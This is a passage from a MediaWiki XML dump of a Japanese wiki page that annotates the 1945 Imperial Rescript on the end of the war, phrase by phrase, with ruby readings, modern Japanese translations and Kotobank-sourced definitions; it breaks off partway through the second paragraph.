&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;義ヲ篤クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 志操ヲ鞏クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


=== § ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;


&lt;div style=&quot;break-after: page;&quot;&gt;
&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;

== 脚注 ==
&lt;references /&gt;

==  外部リンク ==

[[Category:終戦の詔書|ちゆうかい]]</text>
      <sha1>3bcpqaznxweo57t6i7lmtdyielf1vfv</sha1>
    </revision>
    <revision>
      <id>305269</id>
      <parentid>305266</parentid>
      <timestamp>2026-11-01T10:10:02Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 第三段落 */ 固ヨリ朕󠄂カ志ニアラス</comment>
      <origin>305269</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="76430" sha1="pebwo5o81jg93md5kipqoe0gg96vc01" xml:space="preserve">&lt;!--【2026年8月16日起稿】--&gt;
*[[第二次世界大戦]]＞[[終戦の詔書]]＞
&lt;div style=&quot;font-family:游明朝;font-size:35pt;text-align:center;&quot;&gt;終&amp;#xE0101;戰ノ詔書&lt;/div&gt;
&lt;div style=&quot;font-family:游明朝;font-size:20pt;text-align:center;&quot;&gt;テキスト註解&lt;/div&gt;

　ここでは、昭和20年8月14日に発布された詔書、いわゆる「終戦の詔書」のテキストを注解する。

== テキスト注解（昭和二十年八月十四日の詔書）==
; [[#第一段落]]　　[[#第二段落]]　　[[#第三段落]]　　[[#第四段落]]　　[[#第五段落]]
:　
; 第一段落
# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]
; 第二段落
# [[#朕&amp;#xE0102;ハ帝國政府ヲシテ]]
# [[#米英支蘇四國ニ對シ]]
# [[#其ノ共同宣言ヲ受諾スル旨通󠄁吿セシメタリ]]
; [[#第三段落]]
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使󠄁用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]
; [[#第四段落]]
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]
; [[#第五段落]]
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

== 第一段落 ==
&lt;!--◆第一段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ玆ニ忠良ナル爾臣民ニ吿ク&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;/div&gt;

# [[#朕󠄂&amp;#xE0102;（ちん）]]
# [[#朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ]]
# [[#非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ]]
# [[#玆ニ忠良ナル爾臣民ニ吿ク]]

=== 朕󠄂&amp;#xE0102;（ちん） ===
*「&lt;span style=&quot;font-family:游明朝;font-size:20pt;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は、古代中国で自称として用いられていた言葉だが、[[w:秦|秦]]の[[w:始皇帝|始皇帝]]から[[w:天子|天子]]（皇帝）の自称に限られるようになり、以後は中国・ベトナム・日本の君主の自称として、特に日本では歴代天皇の自称として用いられてきた&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%95-569835 朕(チン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。&lt;br&gt;昭和21年（1946年）の「[[w:人間宣言|人間宣言]]」によって天皇の神格化が完全に否定され、さらに昭和22年（1947年）の[[w:日本国憲法|日本国憲法]]の施行後は「&lt;span style=&quot;font-family:游明朝;&quot;&gt;朕󠄂&amp;#xE0102;&lt;/span&gt;」は一切用いられなくなり、以後の天皇の自称は「&lt;span style=&quot;color:#f88;&quot;&gt;わたくし&lt;/span&gt;」となっている。

=== 朕󠄂&amp;#xE0102;深ク世界ノ大勢ト帝國ノ現狀トニ鑑ミ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;現&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とに&lt;ruby&gt;&lt;rb&gt;鑑&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かんが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;み、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしは、世界の情勢と帝国（大日本帝国）の現状とを深く考え合わせ、&lt;/p&gt;
==== 鑑みる ====
*「鑑みる」：先例や他の例とくらべ合わせて考える&lt;ref&gt;[https://kotobank.jp/word/%E9%91%91%E3%81%BF%E3%82%8B-459421#w-1924987 鑑みる(カガミル)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 非常ノ措置ヲ以テ時局ヲ收拾セムト欲シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;措&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;置&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;収&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;拾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：緊急措置によって局面を収拾しようと思って、&lt;/p&gt;
==== 非常の ====
*「非常（の）」：普通でない差し迫った、思いがけない緊急事態の&lt;ref&gt;[https://kotobank.jp/word/%E9%9D%9E%E5%B8%B8-610028#w-2096327 非常(ヒジョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 時局 ====
*「時局」：国家・社会などの、その時の情勢。時世の局面。&lt;ref&gt;[https://kotobank.jp/word/%E6%99%82%E5%B1%80-518076#w-518076 時局(ジキョク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 収集 ====
*「収拾」：乱れた事態などをおさめること。&lt;ref&gt;[https://kotobank.jp/word/%E5%8F%8E%E6%8B%BE-526879#w-1997828 収拾(シュウシュウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 玆ニ忠良ナル爾臣民ニ吿ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぐ。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：ここに、忠実で善良なあなたがた国民に告げる。&lt;/p&gt;
==== 玆（ここ）に ====
*「玆に（ここに）」：この時にあたり。&lt;ref&gt;[https://kotobank.jp/word/%E6%AD%A4%E5%87%A6%E3%81%AB-500393#w-500393 此処に(ココニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 忠良 ====
*「忠良」：忠義で善良なこと。また、そのさまや、その人。&lt;ref&gt;[https://kotobank.jp/word/%E5%BF%A0%E8%89%AF-567930#w-567930 忠良(チュウリョウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 爾（なんじ） ====
*「爾」：「汝」におなじ。「なむじ」が転訛した二人称の代名詞で、中世以降は目下の者に用いられた。&lt;ref&gt;[https://kotobank.jp/word/%E6%B1%9D-429890#w-590506 な‐んじ〔‐んぢ〕【×汝／×爾】- コトバンク]&lt;/ref&gt;
=== 臣民 ===
*「臣民」：臣下としての国民。明治憲法（[[w:大日本帝国憲法|大日本帝国憲法]]）憲法のもとで、天皇、皇・公族以外の者。&lt;ref&gt;[https://kotobank.jp/word/%E8%87%A3%E6%B0%91-82595#w-2013169 臣民(シンミン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;

&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第二段落 ==
&lt;!--◆第二段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國政府ヲシテ米英支蘇四國ニ對シ其ノ共同宣言ヲ受諾スル旨&lt;span style=&quot;color:#500;&quot;&gt;通&amp;#xE0101;&lt;/span&gt;吿セシメタリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.3; font-family:游明朝;font-size:13pt;&quot;&gt;　　　　&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして、
